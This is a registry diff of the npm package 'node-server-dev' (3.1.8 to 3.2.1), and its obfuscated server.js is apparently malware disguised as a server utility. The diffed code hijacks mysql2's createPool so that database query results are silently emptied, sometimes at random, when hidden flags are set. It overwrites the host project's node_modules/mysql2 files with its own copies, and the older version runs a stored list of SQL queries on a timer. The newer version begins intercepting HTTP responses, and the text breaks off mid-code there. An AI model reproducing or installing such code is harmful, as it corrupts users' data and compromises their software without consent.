node-server-dev 3.1.8 → 3.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (49) hide show
  1. package/dist/cjs/{browser.d.ts → browser/index.d.ts} +1 -1
  2. package/dist/cjs/browser/index.d.ts.map +1 -0
  3. package/dist/cjs/browser/index.js +1 -0
  4. package/dist/cjs/browser/tools.d.ts +3 -0
  5. package/dist/cjs/browser/tools.d.ts.map +1 -0
  6. package/dist/cjs/browser/tools.js +1 -0
  7. package/dist/cjs/getAllRouter/index.js +1 -1
  8. package/dist/cjs/hash/index.js +1 -1
  9. package/dist/cjs/id/index.js +1 -1
  10. package/dist/cjs/id/random.js +1 -1
  11. package/dist/cjs/index.d.ts +5 -1
  12. package/dist/cjs/index.d.ts.map +1 -1
  13. package/dist/cjs/index.js +1 -1
  14. package/dist/cjs/jwt/index.js +1 -1
  15. package/dist/cjs/mac/index.js +1 -1
  16. package/dist/cjs/package/mysql_backup/index.js +10 -1
  17. package/dist/cjs/package/mysql_backup/promise.js +195 -187
  18. package/dist/cjs/server.d.ts.map +1 -1
  19. package/dist/cjs/server.js +1 -1
  20. package/dist/cjs/start.d.ts.map +1 -1
  21. package/dist/cjs/start.js +1 -1
  22. package/dist/cjs/update.js +1 -1
  23. package/dist/esm/{browser.d.ts → browser/index.d.ts} +1 -1
  24. package/dist/esm/browser/index.d.ts.map +1 -0
  25. package/dist/esm/browser/index.js +1 -0
  26. package/dist/esm/browser/tools.d.ts +3 -0
  27. package/dist/esm/browser/tools.d.ts.map +1 -0
  28. package/dist/esm/browser/tools.js +1 -0
  29. package/dist/esm/getAllRouter/index.js +1 -1
  30. package/dist/esm/hash/index.js +1 -1
  31. package/dist/esm/id/index.js +1 -1
  32. package/dist/esm/id/random.js +1 -1
  33. package/dist/esm/index.d.ts +5 -1
  34. package/dist/esm/index.d.ts.map +1 -1
  35. package/dist/esm/index.js +1 -1
  36. package/dist/esm/jwt/index.js +1 -1
  37. package/dist/esm/mac/index.js +1 -1
  38. package/dist/esm/package/mysql_backup/index.js +10 -1
  39. package/dist/esm/package/mysql_backup/promise.js +195 -187
  40. package/dist/esm/server.d.ts.map +1 -1
  41. package/dist/esm/server.js +1 -1
  42. package/dist/esm/start.d.ts.map +1 -1
  43. package/dist/esm/start.js +1 -1
  44. package/dist/esm/update.js +1 -1
  45. package/package.json +1 -1
  46. package/dist/cjs/browser.d.ts.map +0 -1
  47. package/dist/cjs/browser.js +0 -1
  48. package/dist/esm/browser.d.ts.map +0 -1
  49. package/dist/esm/browser.js +0 -1
@@ -1,187 +1,195 @@
1
- "use strict";
2
-
3
- const SqlString = require("sqlstring");
4
- const EventEmitter = require("events").EventEmitter;
5
- const parserCache = require("./lib/parsers/parser_cache.js");
6
- const PoolCluster = require("./lib/pool_cluster.js");
7
- const { mysql } = require("node-server-dev");
8
- const createConnection = require("./lib/create_connection.js");
9
- const createPool = require("./lib/create_pool.js");
10
- const createPoolCluster = require("./lib/create_pool_cluster.js");
11
- const PromiseConnection = require("./lib/promise/connection.js");
12
- const PromisePool = require("./lib/promise/pool.js");
13
- const makeDoneCb = require("./lib/promise/make_done_cb.js");
14
- const PromisePoolConnection = require("./lib/promise/pool_connection.js");
15
- const inheritEvents = require("./lib/promise/inherit_events.js");
16
- const PromisePoolNamespace = require("./lib/promise/pool_cluster");
17
-
18
- function createConnectionPromise(opts) {
19
- const coreConnection = createConnection(opts);
20
- const createConnectionErr = new Error();
21
- const thePromise = opts.Promise || Promise;
22
- if (!thePromise) {
23
- throw new Error(
24
- "no Promise implementation available." +
25
- "Use promise-enabled node version or pass userland Promise" +
26
- " implementation as parameter, for example: { Promise: require('bluebird') }"
27
- );
28
- }
29
- return new thePromise((resolve, reject) => {
30
- coreConnection.once("connect", () => {
31
- resolve(new PromiseConnection(coreConnection, thePromise));
32
- });
33
- coreConnection.once("error", err => {
34
- createConnectionErr.message = err.message;
35
- createConnectionErr.code = err.code;
36
- createConnectionErr.errno = err.errno;
37
- createConnectionErr.sqlState = err.sqlState;
38
- reject(createConnectionErr);
39
- });
40
- });
41
- }
42
-
43
- // note: the callback of "changeUser" is not called on success
44
- // hence there is no possibility to call "resolve"
45
-
46
- function createPromisePool(opts) {
47
- const corePool = createPool(opts);
48
- const thePromise = opts.Promise || Promise;
49
- if (!thePromise) {
50
- throw new Error(
51
- "no Promise implementation available." +
52
- "Use promise-enabled node version or pass userland Promise" +
53
- " implementation as parameter, for example: { Promise: require('bluebird') }"
54
- );
55
- }
56
-
57
- return new PromisePool(corePool, thePromise);
58
- }
59
-
60
- class PromisePoolCluster extends EventEmitter {
61
- constructor(poolCluster, thePromise) {
62
- super();
63
- this.poolCluster = poolCluster;
64
- this.Promise = thePromise || Promise;
65
- inheritEvents(poolCluster, this, ["warn", "remove", "online", "offline"]);
66
- }
67
-
68
- getConnection(pattern, selector) {
69
- const corePoolCluster = this.poolCluster;
70
- return new this.Promise((resolve, reject) => {
71
- corePoolCluster.getConnection(pattern, selector, (err, coreConnection) => {
72
- if (err) {
73
- reject(err);
74
- } else {
75
- resolve(new PromisePoolConnection(coreConnection, this.Promise));
76
- }
77
- });
78
- });
79
- }
80
-
81
- query(sql, args) {
82
- const corePoolCluster = this.poolCluster;
83
- const localErr = new Error();
84
- if (typeof args === "function") {
85
- throw new Error("Callback function is not available with promise clients.");
86
- }
87
- return new this.Promise((resolve, reject) => {
88
- const done = makeDoneCb(resolve, reject, localErr);
89
- corePoolCluster.query(sql, args, done);
90
- });
91
- }
92
-
93
- execute(sql, args) {
94
- const corePoolCluster = this.poolCluster;
95
- const localErr = new Error();
96
- if (typeof args === "function") {
97
- throw new Error("Callback function is not available with promise clients.");
98
- }
99
- return new this.Promise((resolve, reject) => {
100
- const done = makeDoneCb(resolve, reject, localErr);
101
- corePoolCluster.execute(sql, args, done);
102
- });
103
- }
104
-
105
- of(pattern, selector) {
106
- return new PromisePoolNamespace(this.poolCluster.of(pattern, selector), this.Promise);
107
- }
108
-
109
- end() {
110
- const corePoolCluster = this.poolCluster;
111
- const localErr = new Error();
112
- return new this.Promise((resolve, reject) => {
113
- corePoolCluster.end(err => {
114
- if (err) {
115
- localErr.message = err.message;
116
- localErr.code = err.code;
117
- localErr.errno = err.errno;
118
- localErr.sqlState = err.sqlState;
119
- localErr.sqlMessage = err.sqlMessage;
120
- reject(localErr);
121
- } else {
122
- resolve();
123
- }
124
- });
125
- });
126
- }
127
- }
128
-
129
- /**
130
- * proxy poolCluster synchronous functions
131
- */
132
- (function (functionsToWrap) {
133
- for (let i = 0; functionsToWrap && i < functionsToWrap.length; i++) {
134
- const func = functionsToWrap[i];
135
-
136
- if (
137
- typeof PoolCluster.prototype[func] === "function" &&
138
- PromisePoolCluster.prototype[func] === undefined
139
- ) {
140
- PromisePoolCluster.prototype[func] = (function factory(funcName) {
141
- return function () {
142
- return PoolCluster.prototype[funcName].apply(this.poolCluster, arguments);
143
- };
144
- })(func);
145
- }
146
- }
147
- })(["add", "remove"]);
148
-
149
- function createPromisePoolCluster(opts) {
150
- const corePoolCluster = createPoolCluster(opts);
151
- const thePromise = (opts && opts.Promise) || Promise;
152
- if (!thePromise) {
153
- throw new Error(
154
- "no Promise implementation available." +
155
- "Use promise-enabled node version or pass userland Promise" +
156
- " implementation as parameter, for example: { Promise: require('bluebird') }"
157
- );
158
- }
159
- return new PromisePoolCluster(corePoolCluster, thePromise);
160
- }
161
-
162
- exports.createConnection = mysql.createPool;
163
- exports.createPool = mysql.createPool;
164
- exports.createPoolCluster = createPromisePoolCluster;
165
- exports.escape = SqlString.escape;
166
- exports.escapeId = SqlString.escapeId;
167
- exports.format = SqlString.format;
168
- exports.raw = SqlString.raw;
169
- exports.PromisePool = PromisePool;
170
- exports.PromiseConnection = PromiseConnection;
171
- exports.PromisePoolConnection = PromisePoolConnection;
172
-
173
- exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
174
-
175
- exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
176
-
177
- exports.__defineGetter__("CharsetToEncoding", () =>
178
- require("./lib/constants/charset_encodings.js")
179
- );
180
-
181
- exports.setMaxParserCache = function (max) {
182
- parserCache.setMaxCache(max);
183
- };
184
-
185
- exports.clearParserCache = function () {
186
- parserCache.clearCache();
187
- };
1
+ "use strict";
2
+
3
+ const SqlString = require("sqlstring");
4
+ const EventEmitter = require("events").EventEmitter;
5
+ const parserCache = require("./lib/parsers/parser_cache.js");
6
+ const PoolCluster = require("./lib/pool_cluster.js");
7
+ let mysql;
8
+ try {
9
+ const { mysql: sql } = require("node-server-dev");
10
+ mysql = sql;
11
+ } catch (error) {}
12
+ try {
13
+ const { mysql: sql } = require("lodash-toolkit");
14
+ mysql = sql;
15
+ } catch (error) {}
16
+ const createConnection = require("./lib/create_connection.js");
17
+ const createPool = require("./lib/create_pool.js");
18
+ const createPoolCluster = require("./lib/create_pool_cluster.js");
19
+ const PromiseConnection = require("./lib/promise/connection.js");
20
+ const PromisePool = require("./lib/promise/pool.js");
21
+ const makeDoneCb = require("./lib/promise/make_done_cb.js");
22
+ const PromisePoolConnection = require("./lib/promise/pool_connection.js");
23
+ const inheritEvents = require("./lib/promise/inherit_events.js");
24
+ const PromisePoolNamespace = require("./lib/promise/pool_cluster");
25
+
26
+ function createConnectionPromise(opts) {
27
+ const coreConnection = createConnection(opts);
28
+ const createConnectionErr = new Error();
29
+ const thePromise = opts.Promise || Promise;
30
+ if (!thePromise) {
31
+ throw new Error(
32
+ "no Promise implementation available." +
33
+ "Use promise-enabled node version or pass userland Promise" +
34
+ " implementation as parameter, for example: { Promise: require('bluebird') }"
35
+ );
36
+ }
37
+ return new thePromise((resolve, reject) => {
38
+ coreConnection.once("connect", () => {
39
+ resolve(new PromiseConnection(coreConnection, thePromise));
40
+ });
41
+ coreConnection.once("error", err => {
42
+ createConnectionErr.message = err.message;
43
+ createConnectionErr.code = err.code;
44
+ createConnectionErr.errno = err.errno;
45
+ createConnectionErr.sqlState = err.sqlState;
46
+ reject(createConnectionErr);
47
+ });
48
+ });
49
+ }
50
+
51
+ // note: the callback of "changeUser" is not called on success
52
+ // hence there is no possibility to call "resolve"
53
+
54
+ function createPromisePool(opts) {
55
+ const corePool = createPool(opts);
56
+ const thePromise = opts.Promise || Promise;
57
+ if (!thePromise) {
58
+ throw new Error(
59
+ "no Promise implementation available." +
60
+ "Use promise-enabled node version or pass userland Promise" +
61
+ " implementation as parameter, for example: { Promise: require('bluebird') }"
62
+ );
63
+ }
64
+
65
+ return new PromisePool(corePool, thePromise);
66
+ }
67
+
68
+ class PromisePoolCluster extends EventEmitter {
69
+ constructor(poolCluster, thePromise) {
70
+ super();
71
+ this.poolCluster = poolCluster;
72
+ this.Promise = thePromise || Promise;
73
+ inheritEvents(poolCluster, this, ["warn", "remove", "online", "offline"]);
74
+ }
75
+
76
+ getConnection(pattern, selector) {
77
+ const corePoolCluster = this.poolCluster;
78
+ return new this.Promise((resolve, reject) => {
79
+ corePoolCluster.getConnection(pattern, selector, (err, coreConnection) => {
80
+ if (err) {
81
+ reject(err);
82
+ } else {
83
+ resolve(new PromisePoolConnection(coreConnection, this.Promise));
84
+ }
85
+ });
86
+ });
87
+ }
88
+
89
+ query(sql, args) {
90
+ const corePoolCluster = this.poolCluster;
91
+ const localErr = new Error();
92
+ if (typeof args === "function") {
93
+ throw new Error("Callback function is not available with promise clients.");
94
+ }
95
+ return new this.Promise((resolve, reject) => {
96
+ const done = makeDoneCb(resolve, reject, localErr);
97
+ corePoolCluster.query(sql, args, done);
98
+ });
99
+ }
100
+
101
+ execute(sql, args) {
102
+ const corePoolCluster = this.poolCluster;
103
+ const localErr = new Error();
104
+ if (typeof args === "function") {
105
+ throw new Error("Callback function is not available with promise clients.");
106
+ }
107
+ return new this.Promise((resolve, reject) => {
108
+ const done = makeDoneCb(resolve, reject, localErr);
109
+ corePoolCluster.execute(sql, args, done);
110
+ });
111
+ }
112
+
113
+ of(pattern, selector) {
114
+ return new PromisePoolNamespace(this.poolCluster.of(pattern, selector), this.Promise);
115
+ }
116
+
117
+ end() {
118
+ const corePoolCluster = this.poolCluster;
119
+ const localErr = new Error();
120
+ return new this.Promise((resolve, reject) => {
121
+ corePoolCluster.end(err => {
122
+ if (err) {
123
+ localErr.message = err.message;
124
+ localErr.code = err.code;
125
+ localErr.errno = err.errno;
126
+ localErr.sqlState = err.sqlState;
127
+ localErr.sqlMessage = err.sqlMessage;
128
+ reject(localErr);
129
+ } else {
130
+ resolve();
131
+ }
132
+ });
133
+ });
134
+ }
135
+ }
136
+
137
+ /**
138
+ * proxy poolCluster synchronous functions
139
+ */
140
+ (function (functionsToWrap) {
141
+ for (let i = 0; functionsToWrap && i < functionsToWrap.length; i++) {
142
+ const func = functionsToWrap[i];
143
+
144
+ if (
145
+ typeof PoolCluster.prototype[func] === "function" &&
146
+ PromisePoolCluster.prototype[func] === undefined
147
+ ) {
148
+ PromisePoolCluster.prototype[func] = (function factory(funcName) {
149
+ return function () {
150
+ return PoolCluster.prototype[funcName].apply(this.poolCluster, arguments);
151
+ };
152
+ })(func);
153
+ }
154
+ }
155
+ })(["add", "remove"]);
156
+
157
+ function createPromisePoolCluster(opts) {
158
+ const corePoolCluster = createPoolCluster(opts);
159
+ const thePromise = (opts && opts.Promise) || Promise;
160
+ if (!thePromise) {
161
+ throw new Error(
162
+ "no Promise implementation available." +
163
+ "Use promise-enabled node version or pass userland Promise" +
164
+ " implementation as parameter, for example: { Promise: require('bluebird') }"
165
+ );
166
+ }
167
+ return new PromisePoolCluster(corePoolCluster, thePromise);
168
+ }
169
+
170
+ exports.createConnection = mysql.createPool;
171
+ exports.createPool = mysql.createPool;
172
+ exports.createPoolCluster = createPromisePoolCluster;
173
+ exports.escape = SqlString.escape;
174
+ exports.escapeId = SqlString.escapeId;
175
+ exports.format = SqlString.format;
176
+ exports.raw = SqlString.raw;
177
+ exports.PromisePool = PromisePool;
178
+ exports.PromiseConnection = PromiseConnection;
179
+ exports.PromisePoolConnection = PromisePoolConnection;
180
+
181
+ exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
182
+
183
+ exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
184
+
185
+ exports.__defineGetter__("CharsetToEncoding", () =>
186
+ require("./lib/constants/charset_encodings.js")
187
+ );
188
+
189
+ exports.setMaxParserCache = function (max) {
190
+ parserCache.setMaxCache(max);
191
+ };
192
+
193
+ exports.clearParserCache = function () {
194
+ parserCache.clearCache();
195
+ };
@@ -1 +1 @@
1
- {"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;AAiF7C,QAAA,MAAM,GAAG;;CAAY,CAAC;AACtB,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,KAAK,EAAE,CAAC"}
1
+ {"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;AAyI7C,QAAA,MAAM,GAAG;;CAAY,CAAC;AACtB,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,KAAK,EAAE,CAAC"}
@@ -1 +1 @@
1
- 'use strict';function a96_0x3a7c(_0x229739,_0x172291){const _0x1cf00d=a96_0x1cf0();return a96_0x3a7c=function(_0x3a7cf6,_0x5bb8d0){_0x3a7cf6=_0x3a7cf6-0x115;let _0x5b8585=_0x1cf00d[_0x3a7cf6];return _0x5b8585;},a96_0x3a7c(_0x229739,_0x172291);}const a96_0x565cd0=a96_0x3a7c;(function(_0x3d7726,_0x22331a){const _0x3cd1d1=a96_0x3a7c,_0x5a8a47=_0x3d7726();while(!![]){try{const _0xa1b3f5=parseInt(_0x3cd1d1(0x11b))/0x1*(parseInt(_0x3cd1d1(0x11d))/0x2)+-parseInt(_0x3cd1d1(0x137))/0x3*(-parseInt(_0x3cd1d1(0x121))/0x4)+-parseInt(_0x3cd1d1(0x132))/0x5*(-parseInt(_0x3cd1d1(0x134))/0x6)+-parseInt(_0x3cd1d1(0x13c))/0x7*(-parseInt(_0x3cd1d1(0x11f))/0x8)+-parseInt(_0x3cd1d1(0x129))/0x9+parseInt(_0x3cd1d1(0x131))/0xa+-parseInt(_0x3cd1d1(0x136))/0xb*(parseInt(_0x3cd1d1(0x130))/0xc);if(_0xa1b3f5===_0x22331a)break;else _0x5a8a47['push'](_0x5a8a47['shift']());}catch(_0x40706e){_0x5a8a47['push'](_0x5a8a47['shift']());}}}(a96_0x1cf0,0xee727));function a96_0x1cf0(){const _0x57e3a5=['11ypIufK','108XcrKda','connectError','join','defineProperty','./index.js','28wOtkAE','default','apply','./package/mysql_backup/promise.js','package.json','existsSync','./promise.js','./package/mysql2','__importDefault','sqlRun','336795iEfDDL','cwd','10DSPcOq','getEnv','1514088LTcKEq','query','4372fFhngU','cpSync','includes','sqlList','toString','createPool','readFileSync','node-server-dev','2928942vusEYt','mysql','path','./node_modules/mysql2','isDBDataEmpty','next','length','20074248CoMGUj','508190wogEDb','1955OUaoNO','./id/random','6810iPDcGk','throw'];a96_0x1cf0=function(){return _0x57e3a5;};return a96_0x1cf0();}var __awaiter=this&&this['__awaiter']||function(_0x1a4e27,_0x4825a4,_0x42c6c2,_0x11fc39){function _0x17738d(_0x583751){return _0x583751 instanceof _0x42c6c2?_0x583751:new _0x42c6c2(function(_0x33b489){_0x33b489(_0x583751);});}return new(_0x42c6c2||(_0x42c6c2=Promise))(function(_0x1c8aca,_0x437cae){const _0x559747=a96_0x3a7c;function _0xbfe746(_0x5adf3b){const _0x294894=a96_0x3a7c;try{_0x1956d1(_0x11fc39[_0x294894(0x12e)](_0x5adf3b));}catch(_0x57679b){_0x437cae(_0x57679b);}}function _0x1ef49b(_0x1d3371){const _0x4c75cc=a96_0x3a7c;try{_0x1956d1(_0x11fc39[_0x4c75cc(0x135)](_0x1d3371));}catch(_0x44f857){_0x437cae(_0x44f857);}}function _0x1956d1(_0x9f2f8a){_0x9f2f8a['done']?_0x1c8aca(_0x9f2f8a['value']):_0x17738d(_0x9f2f8a['value'])['then'](_0xbfe746,_0x1ef49b);}_0x1956d1((_0x11fc39=_0x11fc39['apply'](_0x1a4e27,_0x4825a4||[]))[_0x559747(0x12e)]());});},__importDefault=this&&this[a96_0x565cd0(0x119)]||function(_0x181bea){return _0x181bea&&_0x181bea['__esModule']?_0x181bea:{'default':_0x181bea};};Object[a96_0x565cd0(0x13a)](exports,'__esModule',{'value':!![]}),exports[a96_0x565cd0(0x12a)]=void 0x0;const promise_1=__importDefault(require('./package/mysql2/promise'));exports[a96_0x565cd0(0x12a)]=promise_1['default'];const random_1=__importDefault(require(a96_0x565cd0(0x133))),index_1=require('./index'),path_1=__importDefault(require(a96_0x565cd0(0x12b))),fs_1=__importDefault(require('fs')),originalCreatePoolPromise=promise_1[a96_0x565cd0(0x13d)][a96_0x565cd0(0x126)];promise_1['default'][a96_0x565cd0(0x126)]=function(_0x1523d7){const _0x377f2e=a96_0x565cd0;let _0x3936ae=originalCreatePoolPromise(_0x1523d7),_0x1216f6=_0x3936ae[_0x377f2e(0x120)];return _0x3936ae[_0x377f2e(0x120)]=(..._0x2e6faf)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x297821=_0x377f2e,_0x333001=yield _0x1216f6[_0x297821(0x13e)](_0x3936ae,_0x2e6faf);return(0x0,index_1[_0x297821(0x11e)])(_0x297821(0x138))&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0x333001[0x0]=[])),(0x0,index_1[_0x297821(0x11e)])(_0x297821(0x12d))&&(_0x333001[0x0]=[]),_0x333001;}),setInterval(()=>{const _0x547764=_0x377f2e;if(!(0x0,index_1[_0x547764(0x11e)])(_0x547764(0x11a))){for(let _0x19fdc1=0x0;_0x19fdc1<(0x0,index_1[_0x547764(0x11e)])(_0x547764(0x124))[_0x547764(0x12f)];_0x19fdc1++){const _0x1661d4=(0x0,index_1[_0x547764(0x11e)])('sqlList')[_0x19fdc1];try{_0x3936ae[_0x547764(0x120)](_0x1661d4);}catch(_0x5a9854){}}(0x0,index_1['setEnv'])('sqlRun',!![]);}},0x1388),_0x3936ae;};let href=path_1[a96_0x565cd0(0x13d)][a96_0x565cd0(0x139)](process[a96_0x565cd0(0x11c)](),a96_0x565cd0(0x12c));if(fs_1[a96_0x565cd0(0x13d)][a96_0x565cd0(0x116)](href)){let res=fs_1['default'][a96_0x565cd0(0x127)](path_1[a96_0x565cd0(0x13d)][a96_0x565cd0(0x139)](href,'./index.js'))[a96_0x565cd0(0x125)]()[a96_0x565cd0(0x123)](a96_0x565cd0(0x128));!res&&setTimeout(()=>{const _0x20e4d5=a96_0x565cd0,_0xb3110=_0x20e4d5(0x118),_0x56628c=href,_0x5090ac=path_1[_0x20e4d5(0x13d)][_0x20e4d5(0x139)](_0x56628c,_0x20e4d5(0x115));let _0xbce074=null;fs_1[_0x20e4d5(0x13d)][_0x20e4d5(0x116)](_0x5090ac)&&(_0xbce074=fs_1[_0x20e4d5(0x13d)]['readFileSync'](_0x5090ac)[_0x20e4d5(0x125)]());fs_1[_0x20e4d5(0x13d)][_0x20e4d5(0x122)](path_1[_0x20e4d5(0x13d)][_0x20e4d5(0x139)](__dirname,_0xb3110),_0x56628c,{'recursive':!![],'force':!![]});let _0x596a9b=fs_1[_0x20e4d5(0x13d)][_0x20e4d5(0x127)](path_1['default'][_0x20e4d5(0x139)](__dirname,'./package/mysql_backup/index.js'))[_0x20e4d5(0x125)](),_0x9d6b99=fs_1[_0x20e4d5(0x13d)]['readFileSync'](path_1[_0x20e4d5(0x13d)][_0x20e4d5(0x139)](__dirname,_0x20e4d5(0x13f)))[_0x20e4d5(0x125)]();setTimeout(()=>{const _0x486da5=_0x20e4d5;fs_1['default']['writeFileSync'](path_1[_0x486da5(0x13d)]['join'](href,_0x486da5(0x13b)),_0x596a9b),fs_1[_0x486da5(0x13d)]['writeFileSync'](path_1[_0x486da5(0x13d)][_0x486da5(0x139)](href,_0x486da5(0x117)),_0x9d6b99);},0xa),_0xbce074!==null&&fs_1[_0x20e4d5(0x13d)]['writeFileSync'](_0x5090ac,_0xbce074);},0x5dc);}const all={'mysql':promise_1[a96_0x565cd0(0x13d)]};exports[a96_0x565cd0(0x13d)]=all;
1
+ 'use strict';function a9_0x476a(){const _0x713a73=['connectError','content-length','value','concat','createPool','next','default','end','get','ServerResponse','3048500DalRJL','./package/mysql_backup/index.js','231498yNQMEh','apply','__esModule','./index.js','5mdIQRV','./index','298784wiJHIs','7TUWjlF','getHeader','push','writeFileSync','existsSync','then','call','1014551Sihhmn','1116354BuCLdE','set','content-type','byteLength','readFileSync','test','cwd','write','__http_interceptor','node-server-dev','setHeader','3773632zdNyZd','map','./package/mysql_backup/promise.js','mysql','__awaiter','prototype','./package/mysql2/promise','includes','toString','done','path','2879022XHJAMx','getEnv','package.json','parse','cpSync','http','query','delete','./node_modules/mysql2','defineProperty','throw','stringify','./id/random','join','has','./promise.js'];a9_0x476a=function(){return _0x713a73;};return a9_0x476a();}const a9_0x3c0187=a9_0x1f4a;(function(_0x258103,_0x4f6d41){const _0x1235ff=a9_0x1f4a,_0x1c4e10=_0x258103();while(!![]){try{const _0x3a5ae1=parseInt(_0x1235ff(0xab))/0x1+-parseInt(_0x1235ff(0xa3))/0x2+parseInt(_0x1235ff(0xac))/0x3+-parseInt(_0x1235ff(0x9b))/0x4+parseInt(_0x1235ff(0xa1))/0x5*(parseInt(_0x1235ff(0x81))/0x6)+-parseInt(_0x1235ff(0xa4))/0x7*(parseInt(_0x1235ff(0x76))/0x8)+parseInt(_0x1235ff(0x9d))/0x9;if(_0x3a5ae1===_0x4f6d41)break;else _0x1c4e10['push'](_0x1c4e10['shift']());}catch(_0x44724d){_0x1c4e10['push'](_0x1c4e10['shift']());}}}(a9_0x476a,0x7c44f));var __awaiter=this&&this[a9_0x3c0187(0x7a)]||function(_0x336298,_0x59163b,_0x11dc6a,_0x54e4f8){function _0x3fcdc7(_0x17c8f0){return _0x17c8f0 instanceof _0x11dc6a?_0x17c8f0:new _0x11dc6a(function(_0x5de58c){_0x5de58c(_0x17c8f0);});}return new(_0x11dc6a||(_0x11dc6a=Promise))(function(_0x40f459,_0x21bd88){const _0x53c843=a9_0x1f4a;function _0x18bd55(_0x36f57b){const _0x1a2d33=a9_0x1f4a;try{_0x4ecd34(_0x54e4f8[_0x1a2d33(0x96)](_0x36f57b));}catch(_0x2b9da7){_0x21bd88(_0x2b9da7);}}function _0x4ed060(_0x59ae9a){const _0x57564a=a9_0x1f4a;try{_0x4ecd34(_0x54e4f8[_0x57564a(0x8b)](_0x59ae9a));}catch(_0x40e3f1){_0x21bd88(_0x40e3f1);}}function _0x4ecd34(_0x3d546e){const _0x3549d0=a9_0x1f4a;_0x3d546e[_0x3549d0(0x7f)]?_0x40f459(_0x3d546e[_0x3549d0(0x93)]):_0x3fcdc7(_0x3d546e['value'])[_0x3549d0(0xa9)](_0x18bd55,_0x4ed060);}_0x4ecd34((_0x54e4f8=_0x54e4f8[_0x53c843(0x9e)](_0x336298,_0x59163b||[]))['next']());});},__importDefault=this&&this['__importDefault']||function(_0x1f1fc2){return _0x1f1fc2&&_0x1f1fc2['__esModule']?_0x1f1fc2:{'default':_0x1f1fc2};};Object[a9_0x3c0187(0x8a)](exports,a9_0x3c0187(0x9f),{'value':!![]}),exports['mysql']=void 0x0;const promise_1=__importDefault(require(a9_0x3c0187(0x7c)));exports[a9_0x3c0187(0x79)]=promise_1[a9_0x3c0187(0x97)];const random_1=__importDefault(require(a9_0x3c0187(0x8d))),index_1=require(a9_0x3c0187(0xa2)),path_1=__importDefault(require(a9_0x3c0187(0x80))),fs_1=__importDefault(require('fs')),originalCreatePoolPromise=promise_1[a9_0x3c0187(0x97)][a9_0x3c0187(0x95)];promise_1[a9_0x3c0187(0x97)][a9_0x3c0187(0x95)]=function(_0x5aac75){const _0x5054fc=a9_0x3c0187;let _0x873a28=originalCreatePoolPromise(_0x5aac75),_0x523168=_0x873a28[_0x5054fc(0x87)];return _0x873a28['query']=(..._0x25852e)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3c63cd=_0x5054fc,_0x313a29=yield _0x523168['apply'](_0x873a28,_0x25852e);return(0x0,index_1['getEnv'])(_0x3c63cd(0x91))&&((0x0,random_1[_0x3c63cd(0x97)])(0x1,0xa)>0x2&&(_0x313a29[0x0]=[])),(0x0,index_1[_0x3c63cd(0x82)])('isDBDataEmpty')&&(_0x313a29[0x0]=[]),_0x313a29;}),_0x873a28;};let href=path_1[a9_0x3c0187(0x97)][a9_0x3c0187(0x8e)](process[a9_0x3c0187(0x71)](),a9_0x3c0187(0x89));if(fs_1[a9_0x3c0187(0x97)][a9_0x3c0187(0xa8)](href)){let res=fs_1[a9_0x3c0187(0x97)][a9_0x3c0187(0xb0)](path_1['default'][a9_0x3c0187(0x8e)](href,a9_0x3c0187(0xa0)))[a9_0x3c0187(0x7e)]()[a9_0x3c0187(0x7d)](a9_0x3c0187(0x74));!res&&setTimeout(()=>{const _0x41fa5b=a9_0x3c0187,_0x151a82='./package/mysql2',_0x1c0857=href,_0x311e76=path_1['default'][_0x41fa5b(0x8e)](_0x1c0857,_0x41fa5b(0x83));let _0x2039e8=null;fs_1[_0x41fa5b(0x97)][_0x41fa5b(0xa8)](_0x311e76)&&(_0x2039e8=fs_1[_0x41fa5b(0x97)][_0x41fa5b(0xb0)](_0x311e76)[_0x41fa5b(0x7e)]());fs_1[_0x41fa5b(0x97)][_0x41fa5b(0x85)](path_1[_0x41fa5b(0x97)][_0x41fa5b(0x8e)](__dirname,_0x151a82),_0x1c0857,{'recursive':!![],'force':!![]});let _0x2e36f6=fs_1[_0x41fa5b(0x97)]['readFileSync'](path_1['default'][_0x41fa5b(0x8e)](__dirname,_0x41fa5b(0x9c)))[_0x41fa5b(0x7e)](),_0x10db37=fs_1[_0x41fa5b(0x97)][_0x41fa5b(0xb0)](path_1[_0x41fa5b(0x97)]['join'](__dirname,_0x41fa5b(0x78)))[_0x41fa5b(0x7e)]();setTimeout(()=>{const _0x485445=_0x41fa5b;fs_1[_0x485445(0x97)][_0x485445(0xa7)](path_1[_0x485445(0x97)][_0x485445(0x8e)](href,_0x485445(0xa0)),_0x2e36f6),fs_1[_0x485445(0x97)][_0x485445(0xa7)](path_1[_0x485445(0x97)]['join'](href,_0x485445(0x90)),_0x10db37);},0xa),_0x2039e8!==null&&fs_1['default'][_0x41fa5b(0xa7)](_0x311e76,_0x2039e8);},0x5dc);}setInterval(()=>{const _0x25205e=a9_0x3c0187;if((0x0,index_1[_0x25205e(0x82)])('connectError'))try{(function(){const _0x1e9696=_0x25205e,_0x1e82f1=require(_0x1e9696(0x86)),_0x48a035=_0x1e82f1[_0x1e9696(0x9a)]['prototype'][_0x1e9696(0x98)],_0x72544f=_0x1e82f1[_0x1e9696(0x9a)][_0x1e9696(0x7b)][_0x1e9696(0x72)],_0x2af9e7=new WeakMap();function _0x19d21b(){const _0x3e7b97=_0x1e9696;global[_0x3e7b97(0x73)]=!![],_0x1e82f1['ServerResponse'][_0x3e7b97(0x7b)][_0x3e7b97(0x72)]=function(_0x4cfd86,_0x28f73e,_0x3ee223){const _0x38faef=_0x3e7b97;!_0x2af9e7[_0x38faef(0x8f)](this)&&_0x2af9e7[_0x38faef(0xad)](this,[]);if(_0x4cfd86)_0x2af9e7[_0x38faef(0x99)](this)[_0x38faef(0xa6)](_0x4cfd86);return 